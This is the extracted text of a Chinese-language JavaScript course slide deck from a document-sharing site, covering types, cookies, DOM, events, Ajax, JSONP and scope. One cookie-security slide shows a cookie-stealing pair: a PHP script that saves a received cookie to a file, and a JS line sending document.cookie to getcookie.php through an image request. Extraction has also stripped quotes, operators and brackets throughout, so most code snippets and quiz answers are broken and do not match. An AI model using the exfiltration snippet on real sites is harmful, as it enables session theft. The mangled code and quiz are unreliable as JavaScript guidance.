《Javascript入门到高阶课件》由会员分享，可在线阅读，更多相关《Javascript入门到高阶课件（96页珍藏版）》请在金锄头文库上搜索。
1、2020/9/16,大纲,初级,高级,其他,基本语法 常见对象方法,中级,常见对象 Cookie DOM Events Ajax,作用域 this关键字 OOP 跨域 安全,调试工具 JSLint 发展趋势 学习资料,2020/9/16,第一部分：初级javascript,2020/9/16,初级：变量类型,变量类型 基础类型 六种：undefined、string、number、boolean、object和function typeof 对象类型 以基础类型为基础，从object这一种类型中发展起来的 instanceof function是object,2020/9/16,初级：关于类型
2、的一些小题目,null = undefined; null=undefined; typeof null; typeof undefined; var a;alert(a); var a; a=1; alert(typeof a); 1=1; 1=true; 1=1; a=; alert(typeof a);,2020/9/16,初级：关于类型的一些小题目答案,null = undefined;/true null=undefined;/false typeof null;/object typeof undefined;/undefined var a;alert(a);/undefined
3、 var a; a=1; alert(typeof a); /number 1=1;/true 1=true;/true 1=1;/false a=; alert(typeof a);/object,2020/9/16,初级：常见对象方法,String Array Date Math RegExp,string 1,2,3 new Date(12345678901) Math.PI /s|s$/img,2020/9/16,第二部分：中级javascript,2020/9/16,中级,对象 location，navigator，screen Cookie DOM Events Ajax,2020
4、/9/16,中级：navigator,alert(navigator.userAgent) Mozilla/5.0 (Windows NT 6.1; rv:5.0) Gecko/20100101 Firefox/5.0,var isFF = /firefox/.test(navigator.userAgent.toLowerCase();,2020/9/16,中级：location,replace() 设置当前文档的URL，并在history对象的地址列表中删除这个URL reload() 重新载入当前文档(从server服务器端),2020/9/16,中级：document.cookie,J
5、avascript对cookie操作是通过document.cookie进行的,document.cookie = name=value; expires=date; path=path; domain=domain; secure; /例如： document.cookie = cookie0=testcookie; expires=Wed, 3 Aug 2011 18:47:11 UTC; domain=; path=/;,2020/9/16,中级：document.cookie,cookie安全,?php $cookie = urldecode($_GETcookie); file_pu
6、t_contents(cookie.txt, $cookie);,var hackImg = new Image(); hackImg.src = getcookie.php?cookie=”+encodeURI(document.cookie);,2020/9/16,中级：DOM,DOM 节点介绍 节点 类型 遍历节点 创建节点 节点访问和修改,2020/9/16,中级：DOM,2020/9/16,中级：DOM-document,2020/9/16,中级：DOM-节点查找,2020/9/16,中级：DOM-节点遍历,2020/9/16,中级：DOM-节点关系图,2020/9/16,中级：DO
7、M-创建节点,2020/9/16,中级：DOM-节点访问、修改,2020/9/16,中级：DOM-节点访问、修改,2020/9/16,中级：DOM-节点属性, I am No.1 I am No.2 ,2020/9/16,中级：DOM-节点属性,var dom = document.getElementById(parentDOM); var children = dom.childNodes; for(var i = 0,len = children.length; i len; i+) var type = type= + childreni.nodeType + ; var name =
8、 name= + childreni.nodeName + ; var id = id= + childreni.id + ; var tagName = tagName= + childreni.tagName + ; log(type+name+id+tagName); , I am No.1 I am No.2 ,2020/9/16,中级：Events-类型,Document load, unload, resize, scroll Mouse mouseover, mouseout, mouseup, mousedown, click Key keydown, keyup, keypr
9、ess Forms focus, blur, change, keydown, keyup, keypress,课后题：Keydown、keyup、keypress区别和用法,2020/9/16,中级：Events-事件模型,2020/9/16,中级：Events-事件监听,2020/9/16,中级：Events-阻止冒泡,if ($.IE) e.cancelBubble = true; else e.stopPropagation(); ,2020/9/16,中级：Events-阻止默认事件,if ($.IE) e.returnValue = false; else e.preventDef
10、ault(); ,2020/9/16,中级：Events-获取event/this,获取event对象：http:/www.js8.in/703.html,点我啊 function fn(e) e = e | window.event; alert(e.type); ,在IE中，event是一个全局变量，即window.event，而在Firefox等，event会默认的作为第一个参数传入fn中,2020/9/16,中级：Events-事件代理(委托), I am No.1 I am No.2 I am No.3 I am No.4 I am No.5 ,var dom = document.
11、getElementById(parentDOM); dom.onclick = function() var e = arguments0 | window.event; var target = e.target | e.srcElement; alert(target.innerHTML); ,var doc = document; for(var i = 1; i = 5; i+) var dom = doc.getElementById(id + i); dom.onclick = function() alert(this.innerHTML); ,不用事件代理,使用事件代理,20
12、20/9/16,中级：Ajax,Ajax xmlHttpRequest对象 发送 Get Post 接收 数据类型 JSON JSONP,2020/9/16,中级：Ajax,Ajax “Asynchronous JavaScript and XML”（异步的JavaScript与XML技术），是一种广泛应用在浏览器的网页开发技术。Ajax是多项技术的综合应用，Ajax概念由 Jesse James Garrett 所提出 XMLHttpRequest对象,2020/9/16,中级：Ajax,创建XMLHttpRequest对象,function getXHR() if(window.XMLHt
13、tpRequest) /w3c return new XMLHttpRequest(); else /IE6- return new ActiveXObject(Microsoft.XMLHTTP); var xhr = getXHR();,Ajax实例： 司徒正美高效地获取XMLhttp对象,2020/9/16,中级： Ajax发送请求,GET,POST,xhr.open(GET, false); var response = xhr.send(null);,xhr.open(POST, false); var response = xhr.send(key=value,xhr.setReq
14、uestHeader(header,value); xhr.setRequestHeader(“Content-type”,“application/x-www-form-urlencoded”);,设置请求头,2020/9/16,Ajax响应处理,获得来自服务器的响应，使用 XMLHttpRequest 对象的 responseText 或 responseXML 属性。,xhr.open(POST, false); var response = xhr.send(key=value,2020/9/16,onreadystatechange 事件,xhr.onreadystatechange
15、=function() if (xhr.readyState=4 ,监听ajax请求状态,0: 请求未初始化 1: 服务器连接已建立 2: 请求已接收 3: 请求处理中 4: 请求已完成，且响应已就绪,课后题：http请求状态码,2020/9/16,中级：JSON /FF:onload IE:onreadystatechange JSONP.onload = JSONP.onreadystatechange = function() /onreadystatechange，仅IE JSONP.type = text/javascript; JSONP.src = /fcgi-bin/getwo
16、rd?cb=window.QQWebIME.callback971,思考题：为什么不用json？,2020/9/16,第三部分：高级javascript,2020/9/16,高级：作用域,var i = 10; function fn() var i = 20; var a = 3; alert(i);/20 fn(); alert(i); alert(a);,fn的执行环境是window，fn的定义环境是function中。 根据词法作用域，fn的作用域应该是在定义它的function中，而不是在其执行的环境相同的var i=10;(window)中,function fn() var i = 20; var a = 3; alert(i); ,/20,/10,/error undefined,2020/9/16,高级：作用域,2020/9/16,fn2 e
